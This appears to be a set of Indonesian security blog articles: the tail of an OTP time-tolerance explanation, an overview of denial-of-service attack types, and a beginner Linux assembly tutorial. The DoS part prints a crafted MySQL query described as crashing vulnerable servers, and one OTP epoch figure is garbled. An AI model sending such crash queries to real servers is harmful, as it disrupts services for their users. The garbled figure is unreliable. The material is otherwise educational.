Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

1. Detik ketika server meminta password (OTP) dari user
2. Detik ketika token membangkitkan OTP
3. Detik ketika server menerima OTP dari user

Perhatikan contoh di bawah ini:

Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.

Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.

Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.

otptoken1Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).

Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420 hingga EPOCH/10=780.

Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).

Umur OTP

Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response

Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.

Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.

otptoken2

Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.

Sumber : Here

Memahami Serangan Denial of Service

Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.

Apa itu DoS

Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.

Secara umum ada 2 cara melakukan serangan DoS:

1. Mematikan Server
2. Menyibukkan Server
* Tanpa bug/vulnerability
* Meng-exploit bug/vulnerability

DoS dengan Mematikan Server: Kill Them!

Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.

Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.

Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.

Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:

* Ping of Death ( CA-1996-26 )

Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
* MySQL IF Query DoS ( SA25188 )

Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.

* Cisco Global Site Selector DNS Request Denial of Service (SA33429)

Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.

Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.

DoS dengan Menyibukkan Server: Make Them As Busy As Possible!

Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit. Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.

Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.

DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:

* Exploiting vulnerability: Menyerang dengan malicious request/packet
* No vulnerability exploitation: Menyerang dengan normal request/packet

Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.

Make Server Busy by Exploiting Vulnerability

Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.

Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.

Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:

* TCP SYN Flood DoS

Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.

Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
* Apache mod_deflate DoS

Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.

Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.

Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.

Make Server Busy Without Exploiting Vulnerability

Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.

Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).

Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.

DDoS Botnet Attack

Courtesy of: www.dos-attack.net

Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).

Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.

Kesimpulan

Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:

* Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
* Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
o Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
o Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.

Sumber : Here

Belajar Assembly di Linux

Bagi seseorang yang bergelut di dunia security bahasa Assembly adalah bahasa yang wajib dikuasai. Karena bahasa ini adalah bahasa tingkat rendah, dekat dengan bahasa mesin (biner), maka mempelajari bahasa ini akan sangat menguntungkan. Dengan mempelajari bahasa assembly, sedikit banyak secara otomatis kita akan memahami cara komputer bekerja lebih dalam lagi.

Artikel ini juga sebagai pembuka sebelum saya membahas mengenai shellcode, buffer overflow dan teknik exploitasi lain yang membutuhkan pemahaman mengenai assembly dan sistem operasi. Bila anda ingin menjadi hacker yang baik, anda wajib menguasai bahasa ini.

Bahasa Mesin, Assembly dan C

Pada dasarnya komputer adalah makhluk digital yang hanya mengerti digit 1 dan digit 0 (binary). Komputer hanya mau menerima data dalam bentuk binary dan juga hanya bisa mengerti perintah dalam bentuk binary. Perintah dalam bentuk binary ini disebut dengan bahasa mesin.

Secara umum program bisa dilihat sebagai urutan langkah/perintah/instruksi untuk menyelesaikan sesuatu. Programmer bisa langsung membuat program dengan menuliskan perintah dalam bentuk 1 dan 0 (bahasa mesin), atau menggunakan bahasa tingkat tinggi yang lebih manusiawi seperti C, Visual Basic atau Java.

Hanya dua simbol yang dimengerti komputer, yaitu 1 dan 0

Perhatikan contoh sederhana ini: programmer ingin menyimpan nilai register EAX ke dalam stack. Dalam bahasa mesin programmer harus menuliskan 01010000. Sedangkan dalam bahasa assembly programmer cukup menulis PUSH EAX. Manakah yang lebih manusiawi? Tentu menggunakan assembly lebih manusiawi. Sangat sulit bagi manusia bila harus selalu menggunakan 1 dan 0 setiap memberi perintah.

codeinbinary

Semakin tinggi bahasanya, maka semakin manusiawi cara memberi perintahnya. Contohnya bila programmer ingin menampilkan suatu teks di layar monitor, dalam bahasa C programmer cukup menuliskan printf(“Hello World”), mudah dan singkat. Namun dalam bahasa yang lebih rendah seperti assembly, dibutuhkan sekitar 5 langkah untuk menyelesaikan tugas yang sama.

Semua program dalam bahasa apapun dibuatnya, pada akhirnya ketika akan dieksekusi akan diterjemahkan dalam bahasa mesin, karena itulah satu-satunya bahasa yang dimengerti prosesor.

Bahasa Assembly dan Processor

Karena bahasa assembly adalah mnemonic (singkatan) untuk instruksi dalam bahasa mesin. Maka perintah-perintah dalam bahasa assembly terkait erat dengan prosesornya. Setiap prosesor memiliki instruction set masing-masing,sehingga bahasa assembly untuk prosesor Intel akan berbeda dengan assembly untuk prosesor lainnya. Namun karena intel menguasai pangsa pasar prosesor maka hampir semua produsen prosesor membuat instruksi set yang kompatibel dengan intel.

Bahasa assembly adalah mnemonic dari instruksi bahasa mesin (berbentuk binary) yang disebut opcode

Dokumentasi lengkap mengenai membuat program dalam prosesor intel, termasuk daftar instruction setnya bisa diperoleh di website resmi intel, di intel developer manuals. Dalam artikel ini saya hanya menjelaskan beberapa instruksi dasar yang paling banyak dipakai, selebihnya bisa dilihat di manual yang ada di website intel.

Assembly AT&T dan NASM

Ada dua sintaks bahasa assembly, yaitu dalam format AT&T dan NASM. Sintaks AT&T banyak dipakai dalam lingkungan GNU seperti GNU Assembler, dan menjadi format default GNU Debugger (GDB). Sedangkan format NASM dipakai oleh netwide assembler dan banyak dipakai di lingkungan windows.

Perlu dicatat bahwa perbedaan NASM dan AT&T ini hanya masalah sintaks saja, keduanya menghasilkan bahasa mesin yang sama persis

Beberapa perbedaan antara format AT&T dan NASM adalah:

  • Baris komentar diawali dengan “;” semicolon untuk NASM. AT&T mengawali komentar dengan # (hash)
  • Dalam format AT&T, setiap register diawali dengan %. NASM tidak menggunakan %.
  • Dalam format AT&T, setiap nilai literal (konstanta) diawali dengan $. NASM tidak menggunakan $.
  • Pada perintah yang menggunakan operand sumber dan tujuan, format AT&T menuliskan tujuan sebagai operand kedua (contoh: CMD ,). Sedangkan NASM menuliskan tujuan sebagai operand pertama (contoh: CMD ,).

Register

Register adalah variabel internal yang sudah built-in di dalam prosesor yang bisa dipakai oleh programmer untuk bermacam-macam keperluan. Karena register posisinya di prosesor, bukan di memory, maka menggunakan register sebagai variabel jauh lebih cepat dibanding menggunakan variabel yang dismipan di suatu alamat di memori.

Berikut adalah jenis-jenis register yang ada pada prosesor Intel.

Kategori Nama Penjelasan
General Purpose EAX, EBX, ECX, EDX Lebar data 32 bit, boleh diapakai untuk keperluan apa saja. E adalah Extended (karena awalnya register general purpose hanya 16 bit).

AX,BX,CX,DX 16 bit bawah dari register 32 bit di atas. AX adalah bagian 16 bit bawah dari EAX.

AH,AL,BH,BL,CH,CL,DH,DL Bagian 8 bit dari register 16 bit di atas . AH adalah 8 bit atas dari AX. AL adalah 8 bit bawah dari AX.
Segment Register CS, SS, DS, ES, FS, GS Digunakan untuk menunjuk 16 bit awal alamat memori. CS = Code, SS = Stack, DS = Data, ES,FS,GS = Extra segment register
Offset Register
Digunakan untuk menunjuk 16 bit akhir alamat memori. Alamat memori ditunjukkan dengan gabungan segment dan offset.

EBP Dipakai sebagai offset frame dalam stack. Biasanya menunjuk pada bottom of stack frame di suatu fungsi. ESP menunjukkan puncak stack, EBP menunjuk dasar stack.

ESI Biasanya dipakai untuk offset string sumber dalam operasi yang melibatkan blok memori.

EDI Biasanya dipakai untuk offset string tujuan dalam operasi yang melibatkan blok memori.

ESP Stack pointer, menunjukkan puncak dari stack.
Special EFLAGS Tidak bisa dipakai programmer, hanya dipakai prosesor untuk hasil operasi logical dan state.

EIP Tidak bisa dipakai programmer, hanya dipakai prosesor untuk menunjukkan alamat memori yang berisi instruksi berikutnya yang akan dieksekusi.

Perhatikan gambar di bawah ini untuk melihat register-register yang ada dalam prosesor keluarga IA32 (Intel Architecture 32 bit).

http://www.faculty.iu-bremen.de/birk/lectures/PC101-2003/01x86/80x86%20Architecture/registers.htm

courtesy of iu-bremen.de

Dalam gambar di ats terlihat bahwa register-register Extended (berawalan E) adalah register 32 bit. Agar kompatibel program-program sebelumnya ketika register hanya ada 16 bit, maka register yang lain adalah bagian bit bawah dari versi extendednya. Contohnya adalah register ESI dan SI. Register SI adalah 16 bit paling bawah dari ESI. Pada register EAX, AX adalah 16 bit paling bawah dari EAX. Register AX pun dipecah lagi menjadi 8 bit atas AH dan 8 bit bawah AL. Programmer bebas menggunakan yang mana saja sesuai kebutuhannya.

The Classic “Hello World”

Cukup sudah berteori, kini kita mulai berbasah-basah. Mari kita buat program pertama dalam assembly yang menampilkan teks “Hello World”. Dalam artikel ini saya menggunakan format syntax Intel, bukan AT&T. Silakan ketik source berikut dan simpan dalam nama hello.asm

; section text khusus buat code
section .text

global _start

_start:
; systemcall => write(1,msg,len)
mov edx,len ; panjang string dimasukkan dalam register EDX
mov ecx,msg ; alamat memori yang menyimpan string dimasukkan dalam register ECX
mov ebx,1 ; file descriptor (1=stdout=defaultnya console) disimpan dalam register EBX
mov eax,4 ; Nomor syscall 4 adalah fungsi sys_write()
int 0x80 ; panggil system call dengan interrupt 80 hexa.

; systemcall => exit(0)
xor ebx,ebx ; membuat EBX menjadi 0 sebagai return code ketika exit
mov eax,1 ; nomor syscall 1 adalah fungsi exit()
int 0x80 ; panggil system call dengan interrupt 80 hexa.

section .data ; section data khusus buat data/variable
msg db "Hello, World!",0xa ; String diikuti dengan 0xA yaitu new line \n.
len equ $ - msg ; Panjang string didapat dengan mengurangi address di baris ini dengan alamat string.

Setelah itu kita akan mengcompile file ASM itu menjadi object code berformat ELF dengan NASM (netwide assembler). Setelah itu akan terbentuk file hello.o yang harus dilink dengan linker LD agar menjadi format executable.

$ nasm -f elf hello.asm
$ ld -s -o hello hello.o
$ ./hello
Hello, World!

Selamat, anda telah berhasil membuat program Hello World dalam bahasa Assembly. Program di atas sangat sederhana, kita memanggil system call write() untuk menampilkan string (msg), kemudian kita memanggil system call exit() untuk keluar dari program dan program selesai. String msg kita taruh dalam section .data karena section tersebut khusus untuk menyimpan data/variabel. Sedangkan instruksi assembly disimpan dalam section .text karena section text khusus untuk menyimpan code.

Hello World Opcode

Untuk melihat keterkaitan antara assembly dan bahasa mesin kita bisa melihat opcode dari program assembly yagn kita buat dengan program objdump pada gambar berikut ini.

hubungan assembly dan opcode

Opcode di sebelah kiri adalah versi bahasa mesin dari bahasa assembly di sebelah kanannya. Hal ini menunjukkan eratnya kaitan antara assembly dan bahasa mesin. Contohnya adalah instruksi assembly INT 0×80 diterjemahkan ke bahasa mesin: 0xCD 0×80 (dalam hexa) atau 11001101 (binary dari 0xCD) 10000000 (binary dari 0×80).

Perhatikan bahwa pada source code assembly, “MOV EDX, len” setelah dicompile diterjemahkan menjadi “MOV EDX, 0xE”. Hal ini karena len adalah konstanta berisi panjang string “Hello, World!” yaitu sepanjang 14 karakter. Instruksi assembly pada source code “MOV ECX, msg” setelah dicompile diterjemahkan menjadi “MOV ECX, 0×80490a4″. Mengapa msg diterjemahkan menjadi 0×80490a4? Hal ini karena msg adalah address dari string “Hello, World!” sehingga setelah dicompile diterjemahkan menjadi alamat 0×80490a4. Terlihat juga pada gambar di atas pada lokasi 0×80490a4 terdapat string “Hello, World!”.

System Call

Dalam program hello world di atas kita memanfaatkan system call untuk menampilkan teks di layar monitor. System call adalah gerbang menuju kernel mode bagi program yang membutuhkan servis yang hanya bisa dikerjakan oleh kernel.

system call adalah gateway menuju kernel mode

System call di Linux dipanggil dengan menggunakan interrupt 80 hexa. Nomor system call dimasukkan dalam register EAX. Daftar lengkap nomor systemcall di Linux bisa dibaca di file header: /usr/include/asm/unistd.h. Berikut adalah cuplikan isi dari file unistd.h

#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
* This file contains the system call numbers.
*/

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8

Dalam contoh hello world kita memanfaatkan system call nomor 4 (write) dan nomor 1 (exit). Untuk mengetahui cara pemakaian dan argumen untuk system call tersebut, kita bisa gunakan man di Linux.

$ man 2 write
SYNOPSIS
ssize_t write(int fd, const void *buf, size_t count);
$ man 2 exit
void _exit(int status);

Dari manual system call write meminta 3 argument: yaitu file descriptor bertipe integer, alamat memori tempat string berada, dan terakhir adalah panjang string bertipe integer. Ketika argumen tersebut disimpan dalam register mulai dari EBX, ECX dan EDX. Argumen pertama di EBX, argumen kedua di ECX dan ketiga di EDX. Register EAX dipakai untuk menyimpan nomor system call. Dari manual system call exit meminta 1 argument: yaitu kode status bertipe integer yang disimpan dalam register EBX.

Dalam contoh hello world di atas kita menggunakan 3 intruksi assembly yaitu MOV, XOR dan INT. Mari kita bahas intstruksi tersebut.

Instruksi MOV

Kita menggunakan MOV untuk menyalin data dari sumber ke tujuan. Sumber dan tujuan bisa alamat memori, atau register. Perhatikan contoh berikut:

NASM/Intel AT&T Deskripsi
MOV EAX, 0×51 MOVL $0×51, %EAX Mengisi register EAX dengan nilai 51 hexa
MOV ESP, EBP MOVL EBP, ESP Menyalin isi register EBP ke register ESP

Perbedaan antara sintaks NASM dan AT&T adalah arah pengkopian. Dalam sintaks NASM, tujuan ada pada operand pertama, sedangkan dalam sintaks AT&T tujuan adalah operand ke-2.

Instruksi XOR

Instruksi XOR digunakan untuk melakukan operasi logika Xclusive OR. XOR akan menghasilkan 0 bila kedua operandnya sama, dan menghasilkan 1 bila tidak sama. XOR ini biasanya dipakai untuk membuat register menjadi 0 dengan melakukan XOR untuk operand yang sama seperti pada contoh hello world tersebut.

NASM/Intel AT&T Deskripsi
XOR EBX,EAX XOR %EAX,%EBX XOR isi EBX dengan EAX, hasilnya disimpan di EBX

Instruksi INT

Instruksi INT digunakan untuk mengirim sinyal interrupt ke prosesor. Dalam contoh di atas kita memakai interrupt nomor 80 hexa untuk meminta layanan dari kernel.

NASM/Intel AT&T Deskripsi
INT 0×80 INT $0×80 Memanggil interrupt nomor 80 hexa

Contoh Lain: Hello World X Times

Kali ini kita akan memodifikasi program hello world di atas agar bisa menampilkan pesan yang sama berkali-kali tergantung dari argumen yang dimasukkan user.

section .text

global _start

_start:
pop eax ; pop number of argc (diabaikan)
pop eax ; pop argv[0] (diabaikan karena berisi nama program)
pop eax ; pop argv[1] (ini dipakai untuk stringtoint)
call stringtoint ; ECX berisi argumen bertipe integer sebagai counter

_print:
push ecx ; selamatkan counter di stack karena ECX dipakai juga di _print_hello
call _print_hello ; print hello world
pop ecx ; ambil lagi counter dari stack karena akan dipakai untuk looping
loop _print ; kurangi ECX dengan 1, bila belum 0 kembali ke _print

; ini system call exit(0)
mov ebx,0
mov eax,1
int 0x80

_print_hello: ; systemcall write(1,msg,len)
mov edx,len
mov ecx,msg
mov ebx,1
mov eax,4
int 0x80
ret

stringtoint: ; mengubah string di lokasi yang ditunjuk EAX menjadi integer di ECX
; EAX address of string
xor ecx,ecx ; clear ECX
xor ebx,ebx ; clear EBX
mov bl,[eax] ; BL berisi kode ASCII string di lokasi yang ditunjuk EAX
sub bl, 0x30 ; Kode ascii angka adalah 30h-39h, dikurangkan dengan 30h
add ecx,ebx ; ECX ditambah EBX, ECX berisi nilai integer
ret

section .data
msg db "Hello, World!",0xa
len equ $ - msg

Simpan source code di atas dengan nama helloxtimes.asm, lalu compile dan link seperti di bawah ini.

$ nasm -f elf helloxtimes.asm
$ ld -s -o helloxtimes helloxtimes.o
$ ./helloxtimes 1
Hello, World!
$ ./helloxtimes 2
Hello, World!
Hello, World!
$ ./helloxtimes 3
Hello, World!
Hello, World!
Hello, World!
$ ./helloxtimes 4
Hello, World!
Hello, World!
Hello, World!
Hello, World!

Kita belajar beberapa instruksi baru dalam contoh ke-2 ini, yaitu looping, penggunaan argumen dan prosedur, sedangkan system call yang dipakai tetap sama, yaitu write() dan exit().

Program kali ini menerima argumen berupa integer 1-9 yang dipakai sebagai counter berapa kali pesan akan muncul di monitor. Argumen ini diambil dari stack dengan instruksi POP. Pada puncak stack ada argc, yaitu jumlah argumen ketika program dijalankan. Di bawahnya berisi address dari argv[0] yaitu nama program. Kemudian di bawahnya lagi baru berisi address dari argv[1] yaitu parameter/argumen pertama. Perhatikan pada baris ke-6 s/d baris ke-8 ada instruksi POP EAX sebanyak tiga kali. Ini dilakukan karena yang diperlukan ada pada posisi ke-3 sehingga kita harus membuang 2 elemen di puncak sebelum bisa mengambil address argv[1]. Address argumen ke-1 diambil dari POP lalu disimpan dalam register EAX. Karena bentuknya masih string, maka harus diubah dulu menjadi integer dengan memanggil prosedur stringtoint pada baris ke-9.

Instruksi POP untuk Mengambil Argumen

Instruksi POP untuk Mengambil Argumen

Ketika program dijalankan dengan satu argumen seperti “./helloxtimes 7″. Maka jumlah argumen (argc) akan berisi 2, yaitu nama program itu sendiri, dan satu argumennya. ARGC akan disimpan pada puncak stack, dan elemen di bawahnya berisi alamat memori dari nama program, dan dibawahnya lagi berisi alamat memori dari argumen pertama. Perhatikan gambar di atas yang menunjukkan proses pengambilan alamat memori berisi string argumen pertama dari stack. Dalam contoh tersebut argumen adalah string “7″, yaitu karakter berkode ASCII 37 hexa diikuti dengan ASCII 0 (karakter NULL). Alamat memori berisi string argumen pertama itu diambil dari stack dan disimpan di register EAX.

Pada prosedur stringtoint, register EAX berisi address string yang akan diubah menjadi integer. Kita hanya mengambil karakter pertama saja, pada baris ke-35 dengan instruksi MOV, isi memori pada address yang ditunjuk oleh EAX dicopy ke register BL.

“MOV EBX, [EAX]” berbeda dengan “MOV EBX,EAX”. MOV EBX,[EAX] berarti menyalin isi memori pada alamat yang disimpan di EAX ke dalam register EBX. Sedangkan MOV EBX,EAX berarti menyalin isi register EAX ke register EBX

Saya menggunakan register BL karena kode ASCII lebarnya hanya 8 bit. Bila benar berisi angka, maka register BL akan berisi nilai 30h-39h (kode ascii untuk “0″-”9″). Setelah itu register BL dikurangi dengan 30h untuk mendapatkan nilai dari 0-9. Setelah itu hasilnya ditambahkan ke register ECX sehingga kembali dari prosedur ini dengan nilai integer hasil konversi di register ECX.

